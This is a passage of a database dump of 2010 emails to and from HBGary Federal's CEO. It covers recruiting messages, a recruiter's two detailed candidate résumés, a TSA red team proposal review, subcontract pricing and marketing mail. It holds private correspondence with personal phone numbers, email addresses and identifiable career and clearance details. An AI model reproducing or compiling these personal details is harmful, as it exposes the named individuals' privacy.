\r\n            \r\n            \r\n              \r\n                \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                Early Half Table Sponsors: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              \r\n                \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n             Armed Forces Communications and Electronics Association \r\n              of Washington, D.C.\r\n              1220 L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n              info@afceadc.org&nbsp;&nbsp; \r\n              |&nbsp;&nbsp; tel: 202-701-5808&nbsp;&nbsp; |&nbsp;&nbsp; fax: 202-330-5012\r\n            \r\n            \r\n        \r\n        \r\n          &nbsp;\r\n            AFCEA NOVA Management by : CAPLEAD | info@caplead.com\r\n            \r\n        \r\n      \r\n  \r\n\r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',12773,'aaron_hbgary_com/12773.html'),(10524,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008160.M546421P14101Q5379.eml','\"Jason Mueller\" <jmueller2004@gmail.com>','Re: Introduction','Hi Jason,Thanks for the response. &nbsp;Its a small community so please definitely stay in contact and I\'ll do the same.Sure lets get on the phone or meet and talk about the podcast, I can tell you a little about what we are up to and go from there.Let me know some good times.AaronOn Aug 17, 2010, at 9:27 PM, Jason Mueller wrote:Aaron,Thanks for your interest and yes I\'m familiar with HBGary. Our RE guys used it at my last customer site. &nbsp;I just left Symantec in April and jumped on with ArcSight which seems to be working out quite well. I\'ll keep your info handy and I\'m sure we\'ll bump into one another at some point in the near future. In the meantime, any interest in sharing your product and thoughts with the SecuraBit podcast? &nbsp;Let me know and I\'ll get a date that works best for you. We record every other Wednesday at 8pm and average roughly 5k downloads per show. &nbsp;Check out www.SecuraBit.com to see a list of prior guests.&nbsp;R/Jason MuellerSecurity Engineer, Federal Servicesjmueller@ArcSight.comCell: (540) 842-70195 Results WayCupertino, CA 95014www.ArcSight.comSent from my iPhone, please excuse typos.&nbsp;ArcSight Protect \'10 - 6th Annual Users ConferenceSeptember 19 - 22,2010Gaylord National Resort - Washington D.C.Register Now&lt;http://www.arcsight.com/protect10&gt; - Receive 12 CPE credits for attending!On Aug 17, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInAaron Barr has sent you a message.\r\n  Date:\r\n  8/17/2010\r\n\r\n  Subject:\r\n  Introduction\r\n\r\n  Hey Jason,\r\n\r\n\r\n\r\nThanks for accepting.  I am not sure if you know much about HBGary or HBGary Federal.  Leading HBGary Federal I am focused on improving cybersecurity leveraging key people, partnerships, technologies, and processes.  I am looking to fill some key positions and would like to discuss them with you if your interested, if not at this time, no problem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\n\r\n\r\nThank You,\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\nView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.© 2010, LinkedIn Corporation\r\n\r\n',14537,'aaron_hbgary_com/14537.html'),(10525,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008160.M795238P14101Q5380.eml','\"Mila Parkour\" <milaparkour@gmail.com>','Re: Introduction','Hi Mila,Thank you for replying and no worries the connection is great, never know what the future offers.Sure I would be interested in talking with Ben. &nbsp;I don\'t have the positions listed on the website at the moment, but I would be happy to talk with him if thats of interest.AaronOn Aug 17, 2010, at 10:30 PM, Mila Parkour wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInMila Parkour has sent you a message.\r\n  Date:\r\n  8/17/2010\r\n\r\n  Subject:\r\n  RE: Introduction\r\n\r\n  Thanks for connecting, and your invitation to apply. \r\n\r\nI am familiar with HBGary of course. I really wish I could apply, it sounds very interesting but I am currently not in a position to do so. \r\n\r\n\r\n\r\nHowever, I know one extremely bright researcher in DC area looking for an entry-level security position (Ben Koehl) and perhaps he needs to check out  your site for openings that suit him. If you happen to know about any such opportunities, please let me know.\r\n\r\n\r\n\r\nThank you, \r\n\r\nBest Regards,\r\n\r\nMila\r\n\r\n\r\n\r\nOn 08/17/10 5:13 PM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nThanks for accepting.  I am not sure if you know much about HBGary or HBGary Federal.  Leading HBGary Federal I am focused on improving cybersecurity leveraging key people, partnerships, technologies, and processes.  I am looking to fill some key positions and would like to discuss them with you if your interested, if not at this time, no problem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\n\r\n\r\nThank You,\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\nView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.© 2010, LinkedIn Corporation\r\n\r\n',8644,'aaron_hbgary_com/8644.html'),(10526,'2010-08-18','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008161.M213510P14101Q5381.eml','aaron@hbgary.com','Cyber Recruits!','Hi Aaron,I\'m available this week to discuss recruiting for HB Gary.We have a number of highly qualified candidates we have recruited for our other clients. These include VR, Ethical hacking, Pen Testing, reverse engineering, most with at least a ts/sci and some with fullscope polys.My office is right near montgomery mall.I\'m ready to roll when you are!Edhere\'s a few samples below:1)candidate 1Lives in MDDesires $120K MinimumTop Secret SCI Clearance until 2013Need more challenging work than Navy provides. &nbsp;Focus career path in a large company with room for growth.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bachelor of Science in Information Systems Security, MAGNA CUM LAUDE; Certified Information Systems Security Professional (CISSP) 363829;&nbsp;Certified Ethical Hacker&nbsp;(CEH); EC-Council Certified Security Analyst (ECSA); Computer Hacking Forensics Investigator (CHFI).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Multidisciplinary management &amp; technical experience – enterprise wide IC IA policy development, CNA/CND/CNE, Technical Assurance, EAL, NIST, DIACAP, INFOCON, STIG, IAVM, risk mitigation strategies, penetration testing,&nbsp;vulnerability assessment, intrusion detection/response, Nessus, Snort, Metasploit,&nbsp;Common Vulnerabilities and Exposures&nbsp;(CVE), Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, digital network intelligence &amp; analysis, exploitation testing.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Top Secret Sensitive Compartmented Information clearance and Counter-Intelligence Polygraph, valid from 2000 through 2013.&nbsp;&nbsp; &nbsp; Member of Institute of Electrical and Electronics Engineers (IEEE) since January 2006, Member of Association of Information Technology Professionals&nbsp;(AITP) since January 2007, advisor to the AITP Chairman of Standards of Conduct and Code of Ethics Committee, Member of National University Cyber&nbsp;Security Information Assurance Advisory Counsel, HOA Secretary for 109 unit community.&nbsp;&nbsp;Published contributing author, published IEEE GOLD newsletter article, webinar speaker, and public conference speaker.EMPLOYMENTNavy Information Operations Command Suitland&nbsp;(research &amp; development agency for the US Navy)	Dec 07-PresentComputer Network Operations (CNO) Research &amp; Development Manager&nbsp;| Tech: Wireshark, Snort, IDA Pro, ProcessExplorer, Strings, Web Application Attack and Audit Framework (w3af),&nbsp;Common Vulnerabilities and Exposures (CVE) and Nessus vulnerability scanner.Manage 10 person technical team multi-million dollar projects. Experience in program management, request for proposals, product deliver, software application user acceptance testing/evaluation, man-train-equip personnel strategy, technical assurance software evaluation level of assurance processes and software development life cycle procedures supporting the federal landscape.The Computer Network Defense Group LLC&nbsp;(cybersecurity information assurance consulting firm)		Oct 08-PresentChief Executive Officer&nbsp;| Tech: Nessus, Snort, Metasploit, Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, NMAP, and open source intelligence collection analysis tools.Chief Cyber Security Consultant, lead penetration testing teams, vulnerability assessments and risk mitigation assessments.&nbsp;Business acumen: Procured two professional consulting service agreements, two statements of work, one paid sponsor agreement; Experience in&nbsp;drafting RFP responses, business development, service development and delivery, marketing, and advertising.United States Cyber Command&nbsp;(formally Joint Functional Component Command – Network Warfare)	Aug 08-Dec 08Computer Network Operations Subject Matter Expert, Senior&nbsp;| Tech: tcpdump, Hping, wget, Dragon IDS, Cisco devices, SonicWALL.Managed team of 15 persons, responsible for coordinating offensive computer network operations for the United States Department of Defense and other federal agencies. This component facilitates cooperative engagement with other national entities in computer network defense and offensive information warfare as part of the global information operations mission.Navy Information Operations Command San Diego											Oct 05-Dec 07Computer Network Defense Operations Manager&nbsp;|Tech: Encase, RealSecure IDS, Snort IDS, eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, Nessus vulnerability scanner, NMAP, and Common Vulnerabilities and Exposures (CVE).Directed 300+ vulnerability and penetration security assessments on 300+ networks. Managed overall network security team of 25 persons and 18 networks across the Pacific Ocean.&nbsp;Lead instructor of passive network analysis, log analysis, intrusion detection, defensive tool installation and configuration for 100+ local customers and 100+ global customers across the Pacific Ocean.Fleet Information Warfare Command, Detachment San Diego									Oct 04-Oct 05Computer Network Defense Analyst, Senior&nbsp;|Tech: Nessus, Snort, IDSCenter, Encase, iptables, tcp wrapper, Ethereal (a.k.a. Wireshark).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed incident response team for Commander, U.S. Naval Forces Central Command; Commander, U.S. Fifth Fleet. Led 150+ vulnerability and penetration security assessments on 300+ networks. Managed 50+ incident response conditions and 20+ incident response teams for Commander, Third Fleet; Commander, Seventh Fleet; and Commander, Fifth Fleet.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Senior instructor of security courses focusing on vulnerability scanning, vulnerability analysis, event monitoring and compliance reporting, incident handling, and penetration testing for 100+ customers.Fleet Intelligence Training Center Pacific, San Diego											Aug 03-Oct 04Communications Watch Officer&nbsp;|Tech: Unix/Solaris/Windows 2K, T1/OC, DMS, encryption devices, Cisco devices, Symantec Security Center.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Operations Center lead systems administrator for 1,000+ customers and 2,000+ communications circuits ranging from west of the Mississippi river to the Hawaiian Islands.USS HIGGINS (DDG-76) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;													Oct 00 - Aug 03Systems Administrator&nbsp;|Tech: Unix/Windows NT enterprise network, Cisco devices, Norton Anti-virus (enterprise), Office 2000.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sensitive Compartmented Information Automated Digital Network Systems (SCI-ADNS) shift worker responsible for Ship Signals Exploitation Space (SSES) global network connectivity which included 20 voice and data circuits and three networked domains.EDUCATIONWestwood College, Denver, CO															May 09BS in Information Systems Security	Magna Cum Laude (GPA 3.97)MILITARYUnited States Navy Active Duty															Oct 00 - Present·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experienced in Information Operations, (a.k.a. Information Warfare), Computer Network Operations: Computer Network Defense, Computer Network Exploitation and Computer Network Attack.&nbsp; Received various personal commendations and awards.2)candidate 2Lives in MDSECURITY CLEARANCE&nbsp;Department of Defense TS/SCI security clearance, with a current Full Scope Polygraph.&nbsp;PROFESSIONAL CERTIFICATION:&nbsp;Certified Information Systems Security Professional (CISSP).WORK EXPERIENCE&nbsp;Computer Sciences Corporation-Enforcement, Security and Intelligence Division –Information Systems Security Officer-February, 2009 to Present.Perform vulnerability assessment scans on production and operational network servers and workstations.Monitor adjustments, updates and changes made to all production and operational servers and workstations, using Tripwire configuration monitoring tools.&nbsp;Assist in providing oversight and enforcement of security directives, orders, standards, plans and procedures.Enforce all information system security procedures in reference to the production, testing, certification and accreditation, and deployment of information systems.&nbsp;Review system security plans and concept of operation documentation to ensure system configuration accuracy.&nbsp;Computer Sciences Corporation/Eagle Alliance- Information Systems Security Officer -August, 2006 to February, 2009.Member of a team responsible for investigating computer security incidents, and reporting recommendations through established channels of authority to mitigate risks or enact change.Maintained critical System Security Plans (SSP’s) for a government client and provides customers with Certification and Accreditation (C&amp;A) assistance, for all inquiries and concerns with respect to installation, operation, maintenance, configuration management and protection of classified and unclassified network devices.Performed life cycle responsibilities and advises modernization change boards, regarding current security posture and repercussions to existing accreditation during modernization.&nbsp;One of the centralized contacts of the Information Security program advising client personnel on policy and good security practices.&nbsp;Conducted monthly briefings to newly hired personnel, with regard to Information Systems Security and proper reporting procedures during the event of a computer security incident.&nbsp;IKON Office Solutions- February, 2006 to August, 2006. &nbsp;Sales representative of document management devices and Multi-Functional Processors (MFP’s, printers, scanners, copiers and other software and professional services).Provided customer support and training for IKON Office Solutions business accounts.Performed various canvassing and marketing activities, to identify and acquire new business.&nbsp;National Security Agency Police Officer, December 13, 2004 – February, 2006.&nbsp;Conducted a myriad of law enforcement and physical security duties for the Department of Defense, in protection of their assets and personnel.Performed a variety of tasks in support of the police department’s main mission, which is counter-terrorism and force protection.Composed numerous incident reports on mitigation of security, medical, and fire emergencies.Managed and controlled personnel access, through monitoring pedestrian and vehicular access points.Responsible for the enforcement of laws and regulations, both federal and state, relative to the protection of life and property.Conducted routine investigation of any possible breach of security or compromise of classified material.United States Navy/ December 19, 1995 – April 27, 2004.&nbsp; Honorable service and discharge.&nbsp;Integrated Undersea Surveillance Systems Supervisor, Acoustic Intelligence Analyst, U.S. Navy,2001- 2004Supervised watch personnel during analysis, tracking and reporting of time critical acoustic contacts, in support of Atlantic Fleet operations.Professionally supervised watch team members, while participating in over 95 different command missions.Provided positioning and acoustic data on over 285 contacts, in support of Noble Eagle and Homeland defense.Suggested improvements to watch station procedures, which resulted in smoother operations and lower volume of classified paperwork.Developed search areas for time critical intelligence data, and drafted tactical messages for Atlantic Fleet forces.&nbsp;Naval Recruiter Canvasser, Naval Recruiting District Philadelphia, U.S. Navy, 2000-2001Identified qualified civilians for enlistment into the United States Navy, through various recruiting techniques.Prospected candidates, conducted interviews, completed enlistment records and counseled rejected applicants.Identified target market populations through analyzing recruiting results, and formulated plans for improving the marketing and recruiting process.Managed the delayed entry program, resulting in a significant decrease in recruit attrition levels, and contributed to the recruiting district making goal for the year.Counseled new recruits on their transition into the Navy, and prepared them for recruit training.Conducted basic background investigations on qualified applicants, based on police records and references listed on application, and National Security background information.&nbsp;Anti-Submarine Warfare Systems Operator, Acoustic Intelligence Analyst, USS George Washington, U.S. Navy, 1997-2000Supported operation of the anti-submarine warfare module through utilization of tactical display, acoustic intelligence, and electronic warfare, environmental and associated equipment.Formatted Maritime messages, acoustic intelligence (MASINT) data submission, and tactical mission briefing, debriefing, and reconstruction in support of carrier airborne operations.Provided safety and security for over 5,000 personnel onboard, as a member of the shipboard police force.Participated in over 50 military flights as a Naval Air Crewman, in support of Anti-Submarine warfare missions.Managed the Respiratory safety program and database for over 2,500 personnel while in the Norfolk Naval Shipyard.Participated in a myriad of physical security and law enforcement duties, for 10 months, while attached to the ships Master at Arms police force.&nbsp;EDUCATION AND TRAINING&nbsp;Master of Science degree in Forensic Studies, Investigations Track, 12/2008 (3.85 GPA)Stevenson University (formerly Villa Julie College).&nbsp; Computer Forensics and Security classes: Forensic Information Technology, Windows Forensic Examinations (Introduction to Encase), Information Systems Security Management, IT Operational Environment, Architecture and Infrastructure and Information Technology Law and Enforcement.Master of Science degree in Criminal Justice, 6/2006, Troy University.&nbsp;Bachelor of Science degree (concentrations in Psychology and Administrative/Management Studies) 7/2003. Excelsior College.Basic Police Officer Training Program, Federal Law Enforcement Training Center, 10 weeks.&nbsp; Glynco, Georgia, 2005.Law Enforcement and Physical Security Training, Department of Defense.&nbsp; 6 weeks of follow on training after graduation from the Federal Law Enforcement Training Center.IS Security Classes: Operational Security Fundamentals, Introduction to Operational Information Assurance, Malicious Code Threat, Operational Information Assurance, A Systems Approach to Threat and Vulnerabilities, Introduction to Information Security, Operational Information Assurance for Managers, Introduction to Key Management, Security and Intrusion Detection Fundamentals, Introduction to System and Network Security, Ethical Hacking and Countermeasures.&nbsp;&nbsp;AWARDS AND PROFESSIONAL EVALUATIONS&nbsp;Received an Award of Excellence for performance of duties during a special project dealing with Information Security and Assurance.&nbsp; Awarded August 2007.&nbsp; (Eagle Alliance)Performance Award for making outstanding contributions to the client’s Information Assurance and Security Program.&nbsp; Awarded July 2007.&nbsp; (Eagle Alliance)Sailor of the year, for the calendar year of 2003.&nbsp;Sailor of the Quarter, for the fourth quarter of Fiscal year 2003.2 Good Conduct medals while serving on Active Duty.&nbsp; First medal awarded on 12/19/1999, and second medal awarded 12/19/2003.3 letters of Commendation, while onboard the USS G. Washington, for superior performance.1 letter of appreciation, for volunteer service in Haifa, Israel.1 Navy and Marine Corps achievement medal, for exceptional performance of duties as watch supervisor and acoustic analyst, from 2001-2004. Awarded on 3/4/2004.Ranked the number one E-5 in the command, during the last evaluation period of active duty service.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PROFESSIONAL MEMBERSHIPS&nbsp;Information Systems Security AssociationAssociation of Certified Fraud Examiners.Fraternal Order of Police, Baltimore County, Maryland.American Legion, Military Veterans.\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',11137,'aaron_hbgary_com/11137.html'),(10527,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008161.M435251P14101Q5382.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: TSA ITSSS Red Team','Guys,I have a planned family vacation to NC this weekend. &nbsp;I can review on Saturday remotely if that is feasible.AaronOn Aug 18, 2010, at 9:39 AM, Kirby Kintner wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Saturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).\r\nWhere: DMI Facility, Bethesda\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nAgenda:\r\n&nbsp;\r\n1PM – 1:15 Kick-off\r\n1:15 - 3:30 Review\r\n3:30 – 4&nbsp; Develop Top Ten list \r\n4PM - Dismiss\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n&lt;Mail Attachment.ics&gt;',6059,'aaron_hbgary_com/6059.html'),(10528,'2010-08-18','\"John Harllee\" <John.Harllee@agilex.com>','/aaron@hbgary.com/new/1297008162.M832806P14101Q5383.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,,','LANL','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; please find attached the subcontract for provision\r\nof services by HB Gary under Agilex&#8217; contract with LANL.&nbsp; Basically\r\n150 hours at $194/hr plus travel, work initiating on the 23rd of\r\nAugust.&nbsp; Any questions or concerns, I am available at your convenience at\r\n703.889.3854.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks much.\r\n\r\n&nbsp;\r\n\r\nj\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4184,'aaron_hbgary_com/4184.html'),(10529,'2010-08-18','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008163.M515855P14101Q5385.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TSA ITSSS Red Team','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJust get some people signed this week and enjoy the vacation.&nbsp; Gold\r\nteam will be next Wed.&nbsp; If you can plan to be here Tuesday editing/enhancing\r\nthat would be ideal.&nbsp; The big companies are really struggling with writing the\r\nExperience, People, Tools, Other Resources matrices.&nbsp; Only Telos has come thru.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 10:29 AM\r\nTo: Kirby Kintner; John Fanguy\r\nSubject: Re: TSA ITSSS Red Team\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGuys,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have a planned family vacation to NC this weekend. &nbsp;I\r\ncan review on Saturday remotely if that is feasible.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 9:39 AM, Kirby Kintner wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen:\r\nSaturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp;\r\nCanada).\r\n\r\n\r\n\r\n\r\n\r\nWhere:\r\nDMI Facility, Bethesda\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNote:\r\nThe GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAgenda:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n1PM\r\n&#8211; 1:15 Kick-off\r\n\r\n\r\n\r\n\r\n\r\n1:15\r\n- 3:30 Review\r\n\r\n\r\n\r\n\r\n\r\n3:30\r\n&#8211; 4&nbsp; Develop Top Ten list \r\n\r\n\r\n\r\n\r\n\r\n4PM\r\n- Dismiss\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15762,'aaron_hbgary_com/15762.html'),(10530,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008163.M727063P14101Q5386.eml','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','Re: Fidelis','Toby,Sorry if I dropped this, I am working on a large proposal and just got heads down. &nbsp;Do you still want to talk about this, maybe today?AaronOn Aug 16, 2010, at 4:06 PM, Richardson, Toby wrote:Aaron&nbsp;Do you have 30 mins for a call either of the next 2 days?&nbsp; Will Irace, included on this thread, is the SE for Broadcom and I wanted to bring him into the loop of our discussion.&nbsp;-tr&nbsp;++++++++++++++++++++++++++++++++++++++++++++++++Director, West Region214.505.3136&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, August 10, 2010 11:31 AMTo:&nbsp;Richardson, TobySubject:&nbsp;Re: Fidelis&nbsp;Hi Toby,&nbsp;I am excited about this. &nbsp;I think we can do this for around 30K for the 30 days. &nbsp;Does that sounds reasonable or doable to you? &nbsp;I would like to talk again to makes sure I am clear on your constraints, objectives, etc.&nbsp;Aaron&nbsp;&nbsp;On Aug 6, 2010, at 4:28 PM, Richardson, Toby wrote:Aaron&nbsp;It was great talking to you this morning.&nbsp; I look forward to working with you.&nbsp;Best&nbsp;-tr&nbsp;Toby RichardsonDirector, Western Region&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;Fidelis SecurityDallas, TexasPhone:&nbsp; 214.505.3136&nbsp;http://www.fidelissecurity.com&lt;image001.jpg&gt;&nbsp;See It in Action: Fidelis XPS™&nbsp;Latest Threat Migitation FeaturesRead All About It:&nbsp; Fidelis XPS&nbsp;Prevents Advanced Cyber Threats&nbsp;&nbsp;',13574,'aaron_hbgary_com/13574.html'),(10531,'2010-08-18','\"MacRAE\'S Blue Book\" <MacRAE_S_Blue_Book@mail.vresp.com>','/aaron@hbgary.com/new/1297008163.M91398P14101Q5384.eml','aaron@hbgary.com','Top 5 reasons to Get Listed with MacRAE\'S Directory','\r\n\r\n\r\n  \r\n  MacRAE\'s Blue Book - Get Listed: Be Found. Get Leads. Make Sales.\r\n  \r\n  body {\r\n  margin: 0;\r\n  padding: 0;\r\n  background-color: #ffffff;\r\n  }\r\n  td.permission {\r\n  padding: 20px 0 20px 0;\r\n  }\r\n  td.permission p {\r\n  font-family: arial,\'Lucida Grande\', sans-serif;\r\n  font-size: 10px;\r\n  font-weight: normal;\r\n  color: #151515;\r\n  }\r\n  td.permission p a {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 10px;\r\n  font-weight: normal;\r\n  color: #588FC7;\r\n  }\r\n  td.header {\r\n  background-image: url(\'email_header.jpg\');\r\n  background-repeat: no-repeat;\r\n  background-position: top center;\r\n  background-color: #b62e2e;\r\n  height: 80px;\r\n  }\r\n  td.header h1 {\r\n  font-family: Georgia, serif;\r\n  font-size: 30px;\r\n  font-weight: normal;\r\n  color: #333333;\r\n  margin-left: 50px;\r\n  margin-bottom: 24px;\r\n  }\r\n  table.content {\r\n  background-color: #f5f5f5;\r\n  }\r\n  td.sidebar a {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 11px;\r\n  font-weight: normal;\r\n  color: ##588FC7;\r\n  text-decoration: none;\r\n  }\r\n  td.sidebar ul {\r\n  margin: 0 0 0 24px;\r\n  padding: 0;\r\n  }\r\n  td.sidebar ul li,\r\n  td.sidebar ul li a {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 12px;\r\n  font-weight: normal;\r\n  color: ##588FC7;\r\n  }\r\n  td.border {\r\n  border-right: 2px solid #e0e0e0;\r\n  }\r\n  td.mainbar a {\r\n  font-family: arial,\'Lucida Grande\', sans-serif;\r\n  font-size: 12px;\r\n  font-weight: normal;\r\n  color: #588FC7;\r\n  text-decoration: none;\r\n  }\r\n  td.mainbar h2 {\r\n  font-family: arial,\'Lucida Grande\', 